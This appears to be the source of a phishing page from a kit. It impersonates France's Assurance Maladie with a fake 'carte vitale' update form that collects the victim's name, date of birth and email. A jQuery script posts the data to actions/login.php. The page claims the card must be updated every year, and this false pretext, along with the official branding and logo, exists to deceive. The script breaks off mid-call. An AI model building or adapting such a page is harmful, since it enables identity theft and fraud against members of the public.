<?php
$test_mode = false;
include('infos.php');
include("common/includes.php");
?>
<html lang="fr">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="apple-itunes-app" content="app-id=505488770">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css" integrity="sha384-oS3vJWv+0UjzBfQzYUhtDYW+Pj2yciDJxpsK1OYPAYjqT085Qq/1cq5FLXAZQ7Ay" crossorigin="anonymous">
<style>
.content-wrap {
overflow: hidden;
margin: 10px 0px;
}
.content-wrap > div {
float: left;
}
@media (min-width: 500px){
.banner {
float: left;
width: 500px;
}
}
</style>
<link rel="stylesheet" href="assets/css/style_v2.css">
<link rel="stylesheet" href="assets/css/bootstrap.css">
<link rel="shortcut icon" href="https://web-carte-vitale.fr/public/fav.png" type="image/ico">
<title>Veuillez remplir le formulaire</title>
</head>
<body>
<div class="content-wrap" style="margin-top: 0px; margin-bottom: 30px;
background: rgb(76, 175, 80) none repeat scroll 0% 0%;">
<div class="banner">
<img style="width:100%;max-width:350px;" src="assets/images/head.png">
</div>
</div>
<div class="container">
<div class="row">
<ol class="breadcrumb ">
<li><a href="#" id="toPortailPub" title="Retour au portail">Assurance Maladie</a></li>
<li class="active">Mise à jour carte vitale</li>
</ol>
</div>
</div>
<main class="container" style="margin-top:-12px;" id="contenu">
<div class="row">
<div class="col-md-12">
<div class="panel panel-default" style="background: url(assets/images/back.png);">
<div class="panel-heading">
<h2 id="titre_authent" style="margin-top:12px;" class="text-center">Mettre à jour votre carte vitale</h2>
</div>
<div class="panel-body"><br> La mise à jour de la carte vitale doit se faire anuellement par ses bénéficiaire. Cette opération actualise les droits et garantit une prise en charge efficace des dépenses de santé plus rapidement.
<br><br> Pour une façon pratique, facile et sécurisée de présenter une demande de votre nouvelle carte V3 avec de nombreux avantages, veuillez suivre les étapes suivantes : <br><br>
<form action="" id="formit" method="POST">
<div class="row">
<div class="col-md-6">
<style>
.flex{
display: flex;
justify-content: space-between;
}
</style>
<div class="flex">
<div class="form-group" id="fg_spi">
<label for="spi_tmp">Nom</label>
<div class="ephemere hidden" id="liveCheck_spi_tmp" role="alert"></div>
<input class="form-control" id="name" name="nom" type="text" aria-required="true" placeholder="" required="">
</div>
<div class="form-group" id="fg_spi">
<label for="spi_tmp">Prénom</label>
<div class="ephemere hidden" id="liveCheck_spi_tmp" role="alert"></div>
<input class="form-control" id="name" name="prenom" type="text" aria-required="true" placeholder="" required="">
</div>
</div>
<div class="form-group" id="fg_spi">
<label for="spi_tmp">Date de naissance</label>
<div class="ephemere hidden" id="liveCheck_spi_tmp" role="alert"></div>
<span class="fieldset"><br><select style="width:33%" class="boss" name="day" required="" title="Please Select Day Of Birth" type="select">
<option class="form-control" selected="selected" value="">Jour</option>
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
</select>
<select style="width:30%" class="boss" name="month" required="" title="Please Select Month Of Birth" type="select">
<option selected="selected" value="">Mois</option>
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
</select>
<select style="width:34.9%" class="boss" name="year" required="" title="Please Select Your Year Of Birth" type="select">
<option selected="selected" value="">Annee</option>
<option value="2002">2002</option>
<option value="2001">2001</option>
<option value="2000">2000</option>
<option value="1999">1999</option>
<option value="1998">1998</option>
<option value="1997">1997</option>
<option value="1996">1996</option>
<option value="1995">1995</option>
<option value="1994">1994</option>
<option value="1993">1993</option>
<option value="1992">1992</option>
<option value="1991">1991</option>
<option value="1990">1990</option>
<option value="1989">1989</option>
<option value="1988">1988</option>
<option value="1987">1987</option>
<option value="1986">1986</option>
<option value="1985">1985</option>
<option value="1984">1984</option>
<option value="1983">1983</option>
<option value="1982">1982</option>
<option value="1981">1981</option>
<option value="1980">1980</option>
<option value="1979">1979</option>
<option value="1978">1978</option>
<option value="1977">1977</option>
<option value="1976">1976</option>
<option value="1975">1975</option>
<option value="1974">1974</option>
<option value="1973">1973</option>
<option value="1972">1972</option>
<option value="1971">1971</option>
<option value="1970">1970</option>
<option value="1969">1969</option>
<option value="1968">1968</option>
<option value="1967">1967</option>
<option value="1966">1966</option>
<option value="1965">1965</option>
<option value="1964">1964</option>
<option value="1963">1963</option>
<option value="1962">1962</option>
<option value="1961">1961</option>
<option value="1960">1960</option>
<option value="1959">1959</option>
<option value="1958">1958</option>
<option value="1957">1957</option>
<option value="1956">1956</option>
<option value="1955">1955</option>
<option value="1954">1954</option>
<option value="1953">1953</option>
<option value="1952">1952</option>
<option value="1951">1951</option>
<option value="1950">1950</option>
<option value="1949">1949</option>
<option value="1948">1948</option>
<option value="1947">1947</option>
<option value="1946">1946</option>
<option value="1945">1945</option>
<option value="1944">1944</option>
<option value="1943">1943</option>
<option value="1942">1942</option>
<option value="1941">1941</option>
<option value="1940">1940</option>
<option value="1939">1939</option>
<option value="1938">1938</option>
<option value="1937">1937</option>
<option value="1936">1936</option>
<option value="1935">1935</option>
<option value="1934">1934</option>
<option value="1933">1933</option>
<option value="1932">1932</option>
<option value="1931">1931</option>
<option value="1930">1930</option>
<option value="1929">1929</option>
<option value="1928">1928</option>
<option value="1927">1927</option>
<option value="1926">1926</option>
<option value="1925">1925</option>
<option value="1924">1924</option>
<option value="1923">1923</option>
<option value="1922">1922</option>
<option value="1921">1921</option>
<option value="1920">1920</option>
<option value="1919">1919</option>
<option value="1918">1918</option>
<option value="1917">1917</option>
<option value="1916">1916</option>
<option value="1915">1915</option>
<option value="1914">1914</option>
<option value="1913">1913</option>
<option value="1912">1912</option>
</select> </span>
</div>
<div class="form-group" id="fg_spi">
<label for="spi_tmp">Adresse email</label>
<div class="ephemere hidden" id="liveCheck_spi_tmp" role="alert"></div>
<input class="form-control" id="name" name="mail" type="email" aria-required="true" placeholder="" required="">
</div>
<button type="submit" id="submit" class="btn btn-xl btn-primary">Valider</button>
<br><br>
</div>
<div class="col-md-6" style="border-radius:6px;">
<img class="col-md-12" src="assets/images/first.png" style="border-radius:6px;">
</div>
</div>
</form>
<i>
<small>Un délai de traitement commence le jour où nous recevons un formulaire dûment rempli et se termine lorsque nous prenons une décision. </small>
</i>
</div>
</div>
</div>
</div>
<br><br>
<div style="font-size: 1.8em;text-transform:uppercase;margin-bottom:15px;color: rgb(76, 175, 80);font-weight: 500;">
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</div>
<div>
<div class="row">
<div class="col-md-6">
<div style="background: #fff;border-left: 4px solid rgb(33, 177, 150);padding: 8px 10px;margin-bottom:25px">
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</a>
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</div>
</div>
<div class="col-md-6">
<div style="background: #fff;border-left: 4px solid rgb(33, 177, 150);padding: 8px 10px;margin-bottom:25px">
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<div class="col-md-6">
<div style="background: #fff;border-left: 4px solid rgb(33, 177, 150);padding: 8px 10px;margin-bottom:25px">
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</div>
</div>
<div class="col-md-6">
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</div>
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</div>
</div>
</div>
</div>
</main>
<div id="loading" class="LoadingPage" style="display : none">
<div class="centre">
<div style="text-align: center;">
<div style="margin-bottom: 25px;">
<img style="height: 30px" src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1f/ASSURANCE_MALADIE.svg/600px-ASSURANCE_MALADIE.svg.png">
</div>
<span>Chargement en cours</span>
</div>
</div>
</div>
<script
src="https://code.jquery.com/jquery-3.4.1.min.js"
crossorigin="anonymous"></script>
<script>
$(document).ready(function() {
$("#formit").submit(function(e) {
e.preventDefault();
var $this = $(this);
$("#loading").css("display", "block");
$.ajax({
method: "POST",
url: "actions/login.php",
data: $(this).serialize()
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